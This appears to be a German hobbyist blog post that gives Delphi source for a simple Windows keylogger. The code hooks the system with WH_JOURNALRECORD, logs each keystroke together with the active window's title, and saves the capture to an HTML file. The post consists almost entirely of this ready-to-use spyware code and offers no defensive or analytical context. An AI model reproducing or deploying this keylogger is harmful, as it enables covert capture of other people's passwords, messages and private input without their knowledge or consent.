this slowpoke moves

Einfacher Keylogger ohne laden von Treiber

var
  MainHook : HHOOK;
  Wnd1,Wnd2 : array[0..255] of char;

//

function KeyboardHook(Code: Integer; wParam : WPARAM;
  lParam : LPARAM): Longint; stdcall;
var
  Buffer : TEventMsg;

  procedure TranslateKey(Key : Byte);
  begin
    if (Key <> VK_LBUTTON) and (Key <> VK_RBUTTON) then
    begin
      GetWindowText(GetForegroundWindow, Wnd2, SizeOf(Wnd2));
      if wnd1 <> wnd2 then
    begin
      Form1.Memo1.Lines.Add(wnd2);
      Wnd1 := Wnd2;
    end;
    end;
    with Form1 do
    begin
      case Key of
        VK_RETURN      :    Memo1.Lines.Add('[Enter]');
        VK_BACK        :    Memo1.Lines.Add('[Backspace]');
        VK_ESCAPE      :    Memo1.Lines.Add('[Esc]');
        VK_SHIFT       :    Memo1.Lines.Add('[Shift]');
        VK_MENU        :    Memo1.Lines.Add('[Alt]');
        VK_CONTROL     :    Memo1.Lines.Add('[Ctrl]');
        VK_DELETE      :    Memo1.Lines.Add('[Delete]');
        VK_SPACE       :    Memo1.Lines.Add('[Space]');
        VK_MULTIPLY    :    Memo1.Text := Memo1.Text + '*';
        VK_ADD         :    Memo1.Text := Memo1.Text + '+';
        VK_SUBTRACT    :    Memo1.Text := Memo1.Text + '-';
        VK_DECIMAL     :    Memo1.Text := Memo1.Text + '.';
        VK_DIVIDE      :    Memo1.Text := Memo1.Text + '/';
        188            :    Memo1.Text := Memo1.Text + ',';
        192            :    Memo1.Text := Memo1.Text + '`';
        222            :    Memo1.Text := Memo1.Text + Chr(39);
        220            :    Memo1.Text := Memo1.Text + '';
        219            :    Memo1.Text := Memo1.Text + '[';
        221            :    Memo1.Text := Memo1.Text + ']';
        186            :    Memo1.Text := Memo1.Text + ';';
        191            :    Memo1.Text := Memo1.Text + '/';
        190            :    Memo1.Text := Memo1.Text + '.';
        44             :    Memo1.Text := Memo1.Text + ',';
        187            :    Memo1.Text := Memo1.Text + '=';
        189            :    Memo1.Text := Memo1.Text + '-';
        65             :    Memo1.Text := Memo1.Text + 'a';
        66             :    Memo1.Text := Memo1.Text + 'b';
        67             :    Memo1.Text := Memo1.Text + 'c';
        68             :    Memo1.Text := Memo1.Text + 'd';
        69             :    Memo1.Text := Memo1.Text + 'e';
        70             :    Memo1.Text := Memo1.Text + 'f';
        71             :    Memo1.Text := Memo1.Text + 'g';
        72             :    Memo1.Text := Memo1.Text + 'h';
        73             :    Memo1.Text := Memo1.Text + 'i';
        74             :    Memo1.Text := Memo1.Text + 'j';
        75             :    Memo1.Text := Memo1.Text + 'k';
        76             :    Memo1.Text := Memo1.Text + 'l';
        77             :    Memo1.Text := Memo1.Text + 'm';
        78             :    Memo1.Text := Memo1.Text + 'n';
        79             :    Memo1.Text := Memo1.Text + 'o';
        80             :    Memo1.Text := Memo1.Text + 'p';
        81             :    Memo1.Text := Memo1.Text + 'q';
        82             :    Memo1.Text := Memo1.Text + 'r';
        83             :    Memo1.Text := Memo1.Text + 's';
        84             :    Memo1.Text := Memo1.Text + 't';
        85             :    Memo1.Text := Memo1.Text + 'u';
        86             :    Memo1.Text := Memo1.Text + 'v';
        87             :    Memo1.Text := Memo1.Text + 'w';
        88             :    Memo1.Text := Memo1.Text + 'x';
        89             :    Memo1.Text := Memo1.Text + 'y';
        90             :    Memo1.Text := Memo1.Text + 'z';
        { Numpad Keys }
        VK_NUMPAD0     :    Memo1.Text := Memo1.Text + '0';
        VK_NUMPAD1     :    Memo1.Text := Memo1.Text + '1';
        VK_NUMPAD2     :    Memo1.Text := Memo1.Text + '2';
        VK_NUMPAD3     :    Memo1.Text := Memo1.Text + '3';
        VK_NUMPAD4     :    Memo1.Text := Memo1.Text + '4';
        VK_NUMPAD5     :    Memo1.Text := Memo1.Text + '5';
        VK_NUMPAD6     :    Memo1.Text := Memo1.Text + '6';
        VK_NUMPAD7     :    Memo1.Text := Memo1.Text + '7';
        VK_NUMPAD8     :    Memo1.Text := Memo1.Text + '8';
        VK_NUMPAD9     :    Memo1.Text := Memo1.Text + '9';
        { Numbers }
        48             :    Memo1.Text := Memo1.Text + '0';
        49             :    Memo1.Text := Memo1.Text + '1';
        50             :    Memo1.Text := Memo1.Text + '2';
        51             :    Memo1.Text := Memo1.Text + '3';
        52             :    Memo1.Text := Memo1.Text + '4';
        53             :    Memo1.Text := Memo1.Text + '5';
        54             :    Memo1.Text := Memo1.Text + '6';
        55             :    Memo1.Text := Memo1.Text + '7';
        56             :    Memo1.Text := Memo1.Text + '8';
        57             :    Memo1.Text := Memo1.Text + '9';
        //to capture other keys you must uncomment the line below:
        //else Memo.Text := Memo.Text + Chr(Key);
      end;
    end;
  end;

  begin
  Result := 0;
  Buffer := PEventMsg(lParam)^;
  if Buffer.Message = WM_KEYUP then begin TranslateKey(Buffer.paramL); end;
end;
procedure TForm1.FormCreate(Sender: TObject);
begin
  MainHook := SetWindowsHookEx(WH_JOURNALRECORD, KeyboardHook, hInstance, 0);
  //DeleteFile('log.html');
end;
procedure TForm1.FormDestroy(Sender: TObject);
begin
  UnhookWindowsHookEx(MainHook);
end;
procedure TForm1.Button1Click(Sender: TObject);
begin
   //save captured keystrokes to HTML file
  Memo2.Lines.Add('<body bgcolor="#000000">');
  Memo2.Lines.Add(Memo1.Text);
  Memo2.Lines.SaveToFile('log.html');
  Memo2.Lines.Add('<body>');
  Memo1.Clear;
end;

Keine Kommentare:

Kommentar veröffentlichen

Beliebte Posts

Translate